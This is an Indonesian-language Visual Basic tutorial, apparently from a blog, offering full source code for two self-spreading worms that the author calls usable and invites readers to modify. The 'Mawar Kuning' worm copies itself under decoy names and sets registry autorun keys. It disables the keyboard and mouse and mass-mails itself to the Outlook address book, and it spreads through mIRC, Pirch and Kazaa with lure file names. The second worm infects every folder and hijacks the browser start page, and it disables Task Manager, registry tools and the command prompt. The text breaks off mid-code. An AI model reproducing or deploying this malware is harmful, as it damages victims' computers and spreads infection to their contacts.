Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Public Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long
Public Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Public Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32.dll" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function CreateDirectory Lib "kernel32" Alias "CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long
Public Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Public Declare Function DeleteFile Lib "kernel32.dll" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
Public Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long

Public Const FILE_ATTRIBUTE_SYSTEM = &H4
Public Const FILE_ATTRIBUTE_READONLY = &H1
Public Const FILE_ATTRIBUTE_HIDDEN = &H2
Public Const FILE_ATTRIBUTE_DIRECTORY = &H10
Public Const FILE_ATTRIBUTE_ARCHIVE = &H20
Public Const FILE_ATTRIBUTE_NORMAL = &H80

Public Type SHITEMID
cb As Long
abID As Byte
End Type

Public Type ITEMIDLIST
mkid As SHITEMID
End Type

Public Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type

Enum SFolder
CSIDL_DESKTOP = &H0 'menunjukkan folder virtual yang menyatakan root untuk semua namespace (/Desktop)
CSIDL_PROGRAMS = &H2 'menunjukkan folder sistem yang berisi grup program user (/Programs)
CSIDL_CONTROLS = &H3 'menunjukkan folder virtual yang berisi ikon-ikon aplikasi Control Panel (/Control Panel)
CSIDL_PRINTERS = &H4 'menunukkan folder virtual yang berisi printer-printer yang diinstall (/Printers)
CSIDL_PERSONAL = &H5 'menunjukkan folder sistem yang digunakan untuk menyimpan dokumen umum user (/My Document)
CSIDL_FAVORITES = &H6 'menunjukkan folder yang berisi item-item favorite user (/Favorites)
CSIDL_STARTUP = &H7 'menunjukkan folder yang berisi grup program StartUp user (/Startup)
CSIDL_RECENT = &H8 'menunjukkan folder sistem yang berisi dokumen-dokumen yang sering digunakan (/Recent)
CSIDL_SENDTO = &H9 'menunjukkan folder yang berisi item menu Send To (/Send To)
CSIDL_BITBUCKET = &HA 'menunjukkan folder sistem yang berisi objek file pada RecycleBin user (/Recycle Bin)
CSIDL_STARTMENU = &HB 'menunjukkan folder sistem yang berisi item-item menu Start (/StartMenu)
CSIDL_DESKTOPDIRECTORY = &H10 'menunjukkan folder sistem yang dapatkan digunakan untuk menyimpan objek file secara fisik pada desktop
CSIDL_DRIVES = &H11 'menunjukkan folder yang berisi segala sesuatu pada komputer lokal (/My Computer)
CSIDL_NETWORK = &H12 'menunjukkan folder yang berisi objek link yang kemungkinan ada pda folder virtual My Network Places (/My Network Places)
CSIDL_NETHOOD = &H13 'menunjukkan folder yang menyatakan root dari hierarki namespace network (/NetHood)
CSIDL_FONTS = &H14 'menunjukkan folder yang berisikan font (/FONT)
CSIDL_TEMPLATES = &H15 'menunjukkan folder yang digunakan untuk menyimpan dokumen template (/Template)
End Enum

'Get special folder
Public Function GetSpecialfolder(JenisFolder As SFolder) As String
Dim r As Long
Dim IDL As ITEMIDLIST
'get special folder
r = SHGetSpecialFolderLocation(100, JenisFolder, IDL)
If r = NOERROR Then
'create buffer
Path$ = Space$(512)
'Get path from IDList(IDL)
r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
'Remove chr$(0)
GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) - 1)
Exit Function
End If
GetSpecialfolder = ""
End Function

'Get System Path
Public Function GetSystemPath() As String

On Error Resume Next
Dim Buffer As String * 255
Dim x As Long
x = GetSystemDirectory(Buffer, 255)
GetSystemPath = Left(Buffer, x) & "\"

End Function

'Get Windows Path
Public Function GetWindowsPath() As String

On Error Resume Next
Dim Buffer As String * 255
Dim x As Long

x = GetWindowsDirectory(Buffer, 255)
GetWindowsPath = Left(Buffer, x) & "\"

End Function

Public Function Folder_Exist(ByVal strFolder As String) As Boolean
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")

If InStr(1, Right$(strFolder, 5), ".") > 0 Then
strFolder = fso.GetParentFolderName(strFolder)
End If

If fso.FolderExists(strFolder) Then
Folder_Exist = True
Else
Folder_Exist = False
End If
Set fso = Nothing

End Function

Module Racuni_Registry

'Registry API
Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Public Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long

Public Const REG_DWORD = 4

Enum REG
HKEY_CURRENT_USER = &H80000001
HKEY_CLASSES_ROOT = &H80000000
HKEY_CURRENT_CONFIG = &H80000005
HKEY_LOCAL_MACHINE = &H80000002
HKEY_USERS = &H80000003
End Enum

Enum TypeStringValue
REG_SZ = 1
REG_EXPAND_SZ = 2
REG_MULTI_SZ = 7
End Enum

'Create or Set Dword Value Registry
Public Function CreateDwordValue(hKey As REG, Subkey As String, strValueName As String, dwordData As Long) As Long

On Error Resume Next
Dim ret As Long

RegCreateKey hKey, Subkey, ret
CreateDwordValue = RegSetValueEx(ret, strValueName, 0, REG_DWORD, dwordData, 4)
RegCloseKey ret

End Function

Public Function CreateStringValue(hKey As REG, Subkey As String, RTypeStringValue As TypeStringValue, strValueName As String, strData As String) As Long

On Error Resume Next
Dim ret As Long

RegCreateKey hKey, Subkey, ret
CreateStringValue = RegSetValueEx(ret, strValueName, 0, RTypeStringValue, ByVal strData, Len(strData))
RegCloseKey ret

End Function
Public Function DeleteValue(hKey As REG, Subkey As String, lpValName As String) As Long
Dim ret As Long

On Error Resume Next
RegOpenKey hKey, Subkey, ret
DeleteValue = RegDeleteValue(ret, lpValName)
RegCloseKey ret

End Function

Module Restart

Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Public Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Public Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LUID) As Long
Public Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Public Declare Function GetCurrentProcess Lib "kernel32" () As Long
Public Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long

Public Const EWX_FORCE = 4
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Const VER_PLATFORM_WIN32_NT = 2
Public Const ANYSIZE_ARRAY = 1
Public Const TOKEN_ADJUST_PRIVILEGES = &H20
Public Const TOKEN_QUERY = &H8
Public Const SE_PRIVILEGE_ENABLED = &H2

Public Type LUID
LowPart As Long
HighPart As Long
End Type

Public Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type

Public Type TOKEN_PRIVILEGES
PrivilegeCount As Long
Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type

Public Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type

'Reboot Windows(Not WinNT)
Public Function Reboot() As Long

'On Error Resume Next
LogOff = ExitWindowsEx(EWX_FORCE Or EWX_REBOOT, 0)

End Function

'Shutdown Windows(Not WinNT)
Public Function Shutdown() As Long

'On Error Resume Next
LogOff = ExitWindowsEx(EWX_FORCE Or EWX_SHUTDOWN, 0)

End Function

'Detection WinNT
Public Function IsWinNT() As Boolean

'On Error Resume Next
Dim myOS As OSVERSIONINFO

myOS.dwOSVersionInfoSize = Len(myOS)
GetVersionEx myOS
IsWinNT = (myOS.dwPlatformId = VER_PLATFORM_WIN32_NT)

End Function

'For Get Privileges from Win NT
Public Sub EnableShutDown()

'On Error Resume Next
Dim hProc As Long
Dim hToken As Long
Dim mLUID As LUID
Dim mPriv As TOKEN_PRIVILEGES
Dim mNewPriv As TOKEN_PRIVILEGES

hProc = GetCurrentProcess()
OpenProcessToken hProc, TOKEN_ADJUST_PRIVILEGES + TOKEN_QUERY, hToken
LookupPrivilegeValue "", "SeShutdownPrivilege", mLUID
mPriv.PrivilegeCount = 1
mPriv.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
mPriv.Privileges(0).pLuid = mLUID
'Setting Privileges windows NT
AdjustTokenPrivileges hToken, False, mPriv, 4 + (12 * mPriv.PrivilegeCount), mNewPriv, 4 + (12 * mNewPriv.PrivilegeCount)

End Sub


' Reboot For WinNT
Public Sub RebootNT(Force As Boolean)

Dim Flags As Long
Flags = EWX_REBOOT
If Force Then Flags = Flags + EWX_FORCE
If IsWinNT Then EnableShutDown
ExitWindowsEx Flags, 0

End Sub

' Shutdown For WinNT
Public Sub ShutdownNT(Force As Boolean)

Dim Flags As Long
Flags = EWX_SHUTDOWN
If Force Then Flags = Flags + EWX_FORCE
If IsWinNT Then EnableShutDown
ExitWindowsEx Flags, 0

End Sub


Untuk virus ni anda membutuhkan 1 form dan 4 Module. Untuk lebih jelasnya silahkan anda lihat coding berikut ini:

Worm Mawar Kuning Buatan Shadow Angel Pakai VB


Salam VB Coders,
Aq ingin ngasih tau contoh dasar pembuatan worm yang menginfeksi Kazaa,
Pirch,MIRC,dan Microsoft Outlook buat saling mempropagandain sendiri,
worm ini bisa dipake kok…
Tutorial ini aq kasih nama "Mawar Kuning",namanya jangan sama ya.. kalo mau di pake and dirubah Oke..
Ini Infeksinya :
@Akan mengcopy di C:%System%\Winamp.exe
@Mendaftarkan dirinya di register di :
$HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\RunServices\Swf32="C:%System%\Winamp.exe"' supaya bisa aktif kalo kumpoter di nyala in..
$HKEY_CLASSES_ROOT\scrfile\shell\open\command\="C:%System%\winamp.exe"',
@Nampilin error : Winamp error, please reinstall !' saat virus di jalanin
@akan mengcopy ke folder startup jadi bisa aktif terus
@Mengcopy juga ke %Windows%, %System% and %Temp% folders dengan nama 'Jdbgmgr.exe'
Ini di lakukan supaya ada backupan worm.
@mengirim email ke semua daftar alamat email yang ada di address book
@Worm ini akan berusaha menyebarkan dirinya melalui Mirc, Pirch and Kazaa
@Oo..h iya..,aq enggak tau nyebarin melaui E-mail bekerja apa enggak di komputer laen,masalahnya di komputer aq jalan,kasih tau aq yah.. sapa tau aja jalan ? ! ?
@ dan sebagainya, di coba yah..

Kalo mau ngebuatnya yang dibutuhin cuman Form kosong aja kok, gak ada komponen laennya and tinggal di masukin aja Codingnya .
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long 'Objeck CD Tray (Supaya worm bisa buka CD Tray)
Private Sub Form_Load()
On Error Resume Next
' -------------------------------------------------------------------------------------
Dim AppPath As String
AppPath = App.Path
If Right(AppPath, 1) <> "\" Then AppPath = AppPath & "\" ' cari tempat negcopy :)
Set fso = CreateObject("Scripting.FileSystemObject") ' Cari tempat di direktori %Windows%, %System% atau %Temp%.
Set wsc = CreateObject("WScript.Shell") ' Copy ke Folder %Startup% , dan tulis di register.
WormMawarkuning = AppPath & App.EXEName & ".EXE" ' Copy format .exe.
' -------------------------------------------------------------------------------------
If Dir(fso.GetSpecialFolder(1) & "\Winamp.exe") <> "Winamp.exe" Then ' Periksa apa worm udah di Copy.
FileCopy WormMawarkuning, fso.GetSpecialFolder(1) & "\Winamp.exe" ' Kalo worm belum di copy,yah.. di copy lagi dunks... :)
wsc.RegWrite "HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\RunServices\Winamp", fso.GetSpecialFolder(1) & "\Winamp.exe" ' Tulis ke Register supaya worm bisa terus di jalan in.
wsc.RegWrite "HKEY_CLASSES_ROOT\scrfile\shell\open\command\", fso.GetSpecialFolder(1) & "\Winamp.exe" ' Tulis ke Register,terus mengesampingkan perintah Screen Server di Dekstop,supaya menghemat daya yang di gunain di Svreen Server, dan sebagai gantinya yah.. worm ini lah...
MsgBox "Winamp Error,Please Reinstal....!", vbCritical, "Error" ' Kirim pesan palsu :)
Else
If Day(Now) = 16 Then 'infeksi pada tanggal 16 :)
MsgBox "Compact-Disc Terinfeksi", vbSystemModal + vbExclamation, "Mawar Kuning By Shadow Angel"
mciSendString "Set CDAudio Door Open Wait", 0&, 0&, 0& ' Buka CD Tray :)
wsc.Run "Rundll32.exe Keyboard,Disable" ' Disable keyboard
wsc.Run "Rundll32.exe Mouse,Disable" ' Disable mouse
wsc.RegWrite "HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\RunServices\MawarKuning_Keyboard", "Rundll32.exe Keyboard,Disable" ' Disable Keyboard di Register,jadi Keyboard akan tetap enggak jalan sebelum Value di Register di Hapus.
wsc.RegWrite "HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\RunServices\MawarKuning_Mouse", "Rundll32.exe Mouse,Disable" ' Sama seperti Keyboard,Mouse akan tetap disable sebelum Value di Register di Hapus.
End If
End If
' -------------------------------------------------------------------------------------
If Dir(wsc.SpecialFolders("Startup") & "\MawarKuning.exe") <> "MawarKuning.exe" Then 'Copy ke Folder StartUp
FileCopy WormMawarkuning, wsc.SpecialFolders("Startup") & "\MawarKuning.exe" ' Kalo worm enggak ada di folder StartUp, Yah.. copy lagi.. lagi.. dan lagi.. sampe bosen :)
End If
' -------------------------------------------------------------------------------------
FileCopy WormMawarkuning, fso.GetSpecialFolder(0) & "\Jdbgmgr.exe"
FileCopy WormMawarkuning, fso.GetSpecialFolder(1) & "\Jdbgmgr.exe" ' buat BackUp Worm ,dan copy ulang file Jdbgmgr.exe :)
FileCopy WormMawarkuning, fso.GetSpecialFolder(2) & "\Jdbgmgr.exe"
' -------------------------------------------------------------------------------------
If Dir(fso.GetSpecialFolder(1) & "\Mawar Kuning.txt") <> "Mawar Kuning.txt" Then ' kirim worm ke alamat yang ada di Address Book di Microsoft Outlook.
Set OutlookApp = CreateObject("Outlook.Application")
Set GNS = OutlookApp.GetNameSpace("MAPI")
For List1 = 1 To GNS.AddressLists.Count
CountLoop = 1
For ListCount = 1 To GNS.AddressLists(List1).AddressEntries.Count
Set OutlookEmail = OutlookApp.CreateItem(0)
OutlookEmail.Recipients.Add (GNS.AddressLists(List1).AddressEntries(CountLoop))
Randomize
RndNumber = Int((6 * Rnd) + 1)
Select Case RndNumber
Case 1: RndText = "Kamu udah Lihat Gambar Mawar Kuning lagi Mekar;)" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
Case 2: RndText = "Ada Video,Mawar Kuning lagi Mekar di pagi hari loh....." & vbCrLf _
& "Balas E-mail aku ya.. supaya aku tahu kamu suka apa enggak,Oke..;)" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
Case 3: RndText = "Kamu sudah punya video Mawar Kuning Lagi Mekar Di Pagi Hari, Aku tahu kamu suka Video ini,;)" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
Case 4: RndText = "Kamu sudah lihat belum,Video sepasang kekasih duduk dikelilingi Mawar kuning..." & vbCrLf _
& "Aku tahu kamu pasti suka;)" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
Case 5: RndText = "Apa pendapat kamu tentang Video Mawar kuning ?" & vbCrLf _
& "Kirim e-mail ke aku yah.. aku ingin tahu pendapat kamu;)" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
Case 6: RndText = "Nonton video Mawar kuning,kamu pasti suka;)" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
End Select
OutlookEmail.Subject = "Salam Kenal!"
OutlookEmail.Body = RndText
OutlookEmail.Attachments.Add (fso.GetSpecialFolder(1) & "\MawarKuning.exe")
OutlookEmail.DeleteAfterSubmit = True
OutlookEmail.Importance = 2
OutlookEmail.Send
CountLoop = CountLoop + 1
Next
Next
End If
' -------------------------------------------------------------------------------------
Open fso.GetSpecialFolder(1) & "\Mawar Kuning.txt" For Output As 1
Print #1, "MawarKuning by Shadow Angel"
Close 1
' -------------------------------------------------------------------------------------
If Dir("C:\Mirc32\Mirc.ini") = "Mirc.ini" Then mIRCPath = "C:\Mirc32" ' Cari Mirc
If Dir("C:\Mirc\Mirc.ini") = "Mirc.ini" Then mIRCPath = "C:\Mirc"
If Dir(wsc.SpecialFolders("Programs") & "\Mirc\Mirc.ini") = "Mirc.ini" Then mIRCPath = wsc.SpecialFolders("Programs") & "\Mirc"
If Dir(wsc.SpecialFolders("Programs") & "\Mirc32\Mirc.ini") = "Mirc.ini" Then mIRCPath = wsc.SpecialFolders("Programs") & "\Mirc32"
If mIRCPath <> "" Then ' Jika Mirc di instal atau ada di komputer worm akan mengEdit : Script.ini :)
' -------------------------------------------------------------------------------------
If Dir(mIRCPath & "\Mawar.ex_") <> "Mawar.ex_" Then
FileCopy WormMawarkuning, mIRCPath & "\Mawar.ex_"
End If
' -------------------------------------------------------------------------------------
Open mIRCPath & "\script.ini" For Output As 2
Print #2, "[script]"
Print #2, "n5= on 1:JOIN:#:{"
Print #2, "n6= /if ( $nick == $me ) { halt }"
Print #2, "n7= /msg $nick Kamu sudah lihat Film Mawar Kuning;) - Kalo filmnya enggak jalan ganti nama filenya menjadi MawarKuning.exe"
Print #2, "n8= /dcc send -c $nick " & mIRCPath & "\Mawar.ex_"
Print #2, "n9= }"
Close 2
End If
' -------------------------------------------------------------------------------------
If Dir("C:\Pirch32\Pirch32.exe") = "Pirch32.exe" Then PirchPath = "C:\Pirch32" ' Cari Folder Pirch
If Dir("C:\Pirch\Pirch32.exe") = "Pirch32.exe" Then PirchPath = "C:\Pirch"
If Dir(wsc.SpecialFolders("Programs") & "\Pirch\Pirch32.exe") = "Pirch32.exe" Then PirchPath = wsc.SpecialFolders("Programs") & "\Pirch"
If Dir(wsc.SpecialFolders("Programs") & "\Pirch32\Pirch32.exe") = "Pirch32.exe" Then PirchPath = wsc.SpecialFolders("Programs") & "\Pirch32"
' -------------------------------------------------------------------------------------
If PirchPath <> "" Then ' Kalo Pirch di instal di komputer atau ada di komputer maka worm akan mengEdit file : Events.ini :)
' -------------------------------------------------------------------------------------
If Dir(PirchPath & "\Mawar.ex_") <> "Mawar.ex_" Then
FileCopy WormMawarkuning, PirchPath & "\Mawar.ex_"
End If
' -------------------------------------------------------------------------------------
Open PirchPath & "\events.ini" For Output As 3
Print #3, "[Levels]"
Print #3, "Enabled=1"
Print #3, "Count=6"
Print #3, "Level1=000-Unknowns"
Print #3, "000-UnknownsEnabled=1"
Print #3, "Level2=100-Level 100"
Print #3, "100-Level 100Enabled=1"
Print #3, "Level3=200-Level 200"
Print #3, "200-Level 200Enabled=1"
Print #3, "Level4=300-Level 300"
Print #3, "300-Level 300Enabled=1"
Print #3, "Level5=400-Level 400"
Print #3, "400-Level 400Enabled=1"
Print #3, "Level6=500-Level 500"
Print #3, "500-Level 500Enabled=1"
Print #3, ""
Print #3, "[000-Unknowns]"
Print #3, "UserCount=0"
Print #3, "Event1=ON JOIN:#:/msg $nick Kamu sudah lihat Film Mawar Kuning;) - Kalo filmnya enggak jalan ganti nama filenya menjadi MawarKuning.exe"
Print #3, "EventCount=0"
Print #3, ""
Print #3, "[100-Level 100]"
Print #3, "User1=*!*@*"
Print #3, "UserCount=1"
Print #3, "Event1=ON JOIN:#:/dcc send $nick " & PirchPath & "\Mawar.ex_"
Print #3, "EventCount=1"
Print #3, ""
Print #3, "[200-Level 200]"
Print #3, "UserCount=0"
Print #3, "EventCount=0"
Print #3, ""
Print #3, "[300-Level 300]"
Print #3, "UserCount=0"
Print #3, "EventCount=0"
Print #3, ""
Print #3, "[400-Level 400]"
Print #3, "UserCount=0"
Print #3, "EventCount=0"
Print #3, ""
Print #3, "[500-Level 500]"
Print #3, "UserCount=0"
Print #3, "EventCount=0"
Close 3
End If
' -------------------------------------------------------------------------------------
If Dir("C:\Kazaa\Kazaa.exe") = "Kazaa.exe" Or Dir(wsc.SpecialFolders("Programs") & "\Kazaa\Kazaa.exe") = "Kazaa.exe" Then ' Periksa apa Kazaa di instal/ada di komputer.
MkDir fso.GetSpecialFolder(1) & "\KazaaShared" ' Kalo Kazaa ada dikomputer,maka worm akan membuat folder tersembunyi :)
KazaaShared = fso.GetSpecialFolder(1) & "\KazaaShared\"
FileCopy WormMawarkuning, KazaaShared & "Tangisan Berdarah.exe"
FileCopy WormMawarkuning, KazaaShared & "Video Mawar Kuning.exe"
FileCopy WormMawarkuning, KazaaShared & "Shadow_Angel.exe"
FileCopy WormMawarkuning, KazaaShared & "Winamp.exe"
FileCopy WormMawarkuning, KazaaShared & "XXX video.exe"
FileCopy WormMawarkuning, KazaaShared & "Superman.exe"
FileCopy WormMawarkuning, KazaaShared & "Tukul.exe"
FileCopy WormMawarkuning, KazaaShared & "My computer.exe"
FileCopy WormMawarkuning, KazaaShared & "ARCADE POOL II.exe"
FileCopy WormMawarkuning, KazaaShared & "Tutorial Hacking.exe"
FileCopy WormMawarkuning, KazaaShared & "MacroMedia Flash 6.0.exe"
FileCopy WormMawarkuning, KazaaShared & "Zuma.exe"
FileCopy WormMawarkuning, KazaaShared & "Microsoft Word.exe"
FileCopy WormMawarkuning, KazaaShared & "Lesbian.exe"
FileCopy WormMawarkuning, KazaaShared & "[SWF] - Jurassic Park 3.exe"
FileCopy WormMawarkuning, KazaaShared & App.EXEName & ".exe"
wsc.RegWrite "HKEY_CURRENT_USER\Software\Kazaa\Transfer\DlDir1", fso.GetSpecialFolder(1) & "\KazaaShared" ' Folder tersembunyinya tulis di Register :)
End If
' -------------------------------------------------------------------------------------
For Each dc In fso.Drives ' Infeksi Driver.
If dc.DriveType = 2 Or dc.DriveType = 3 Then
If UCase(dc.Path) <> "C:" Then
If dc.IsReady Then
If Dir(dc.Path & "\Winamp.exe") <> "Winamp.exe" Then 'Periksa apa worm terCopy.
FileCopy WormMawarkuning, dc.Path & "\Winamp.exe" ' Kalo gak ada Copy Lagi..:)
End If
End If
End If
End If
Next
wsc.RegWrite "HKEY_CURRENT_USER\Software\MawarKuning\1.0\", "MawarKuning by Shadow Angel"
' -------------------------------------------------------------------------------------
End Sub



Aq ingin ngasih tau contoh dasar pembuatan worm yang menginfeksi Kazaa,
Pirch,MIRC,dan Microsoft Outlook buat saling mempropagandain sendiri,
worm ini bisa dipake kok…
Tutorial ini aq kasih nama "Mawar Kuning",namanya jangan sama ya.. kalo mau di pake and dirubah Oke..
Ini Infeksinya :

Buat Virus lagi pakai VB


untuk ngebuatnya cuman di butuhin form 1 aja tanpa komponen laen ,ini codingnya :
Private Declare Function AmbilDirektoriWindow Lib "kernel32" Alias "AmbilDirektoriWindowA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Private Sub Form_Load()
On Error Resume Next
Me.Visible = False
App.TaskVisible = False
Me.Hide
If App.PrevInstance = True Then
End
End If
Dim path As String, strSave As String
Dim SubKey, file As Object
Set SubKey = CreateObject("WScript.Shell")
Set file = CreateObject("Scripting.FileSystemObject")
strSave = String(200, Chr$(0))
path = Left$(strSave, AmbilDirektoriWindow(strSave, Len(strSave)))

FileCopy App.path + "\" + App.EXEName + ".exe", path + "\" + "window.exe"
SubKey.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & "gpmce", path & "\" & "Angel2" & ".exe"
SubKey.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "gpmce", path & "\" & "Angel2" & ".exe"

Direktori (path)
SemuaFolder
Infeksi
pen
End Sub

Private Sub Direktori(path As String)
On Error Resume Next
Dim Fso As Object
Set Fso = CreateObject("Scripting.FileSystemObject")
Dim drives As Object
Dim drive As Object
Set drives = Fso.drives

For Each drive In drives
Select Case drive.DriveType
Case 2
If drive.IsReady = True Then
If drive.AvailableSpace <> "" Then
Dim letter As String
If (StrComp(drive.DriveLetter, path, vbTextCompare)) Then
letter = drive.DriveLetter + ":\"
InfeksiFolder letter
End If
End If
End If
End Select
Next
End Sub

Function InfeksiFolder(Fold As String)
Dim Fso As Object, FolderS
Set Fso = CreateObject("Scripting.FileSystemObject")
For Each FolderS In Fso.GetFolder(Fold).subfolders
FileCopy App.path + "\" + App.EXEName + ".exe", FolderS.path + "\" + FolderS.Name + ".exe"
Call InfeksiFolder(FolderS.path)
Next FolderS
End Function

Private Sub SemuaFolder()
On Error Resume Next
Dim s1 As String
Dim wshShell:
Set wshShell = CreateObject("WScript.Shell")
FileCopy App.path + "\" + App.EXEName + ".exe", wshShell.SpecialFolders("MyDocuments") + "\" + "MyDocuments.exe"
FileCopy App.path + "\" + App.EXEName + ".exe", wshShell.SpecialFolders("Favorites") + "\" + "Fonts.exe"
FileCopy App.path + "\" + App.EXEName + ".exe", wshShell.SpecialFolders("Recent") + "\" + "Recycle Bin.exe"
FileCopy App.path + "\" + App.EXEName + ".exe", wshShell.SpecialFolders("startup") + "\" + "Angel2.exe"
InfeksiFolder wshShell.SpecialFolders("MyDocuments")
End Sub

Private Sub Infeksi()
On Error Resume Next
Dim Key As Object
Set Key = CreateObject("WScript.Shell")
Key.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\start page", "www.gpmce.net"
Key.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\search page", "www.booble.com"
Key.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoFolderOptions", 1, "REG_DWORD"
Key.regwrite "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\LocalizedString", "@%SystemRoot%\system32\SHELL32.dll,-8964"
Key.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\LocalizedString", "@%SystemRoot%\system32\shell32.dll,-9216"
Key.regwrite "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\DefaultIcon\", "%SystemRoot%\System32\shell32.dll,31"
Key.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\DefaultIcon\", "%SystemRoot%\Explorer.exe,0"
Key.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\DefaultIcon\empty", "%SystemRoot%\Explorer.exe,0"
Key.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\DefaultIcon\full", "%SystemRoot%\Explorer.exe,0"
Key.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 1, "REG_DWORD"
Key.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\DisableThumbnailCache", 1, "REG_DWORD"
Key.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableTaskMgr", 1, "REG_DWORD"
Key.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD"
Key.regwrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\disableCMD", 2, "REG_DWORD"
End Sub

Private Sub pen()
On Error Resume Next
Dim Fso As Object
Set Fso = CreateObject("Scripting.FileSystemObject")
Dim drives As Object
Dim drive As Object
Dim s As String
Set drives = Fso.drives

While 1
For Each drive In drives
Select Case drive.DriveType
Case 1
If (StrComp(drive.DriveLetter, "a", vbTextCompare)) Then

End If
If drive.IsReady = True Then
If drive.AvailableSpace <> "" Then
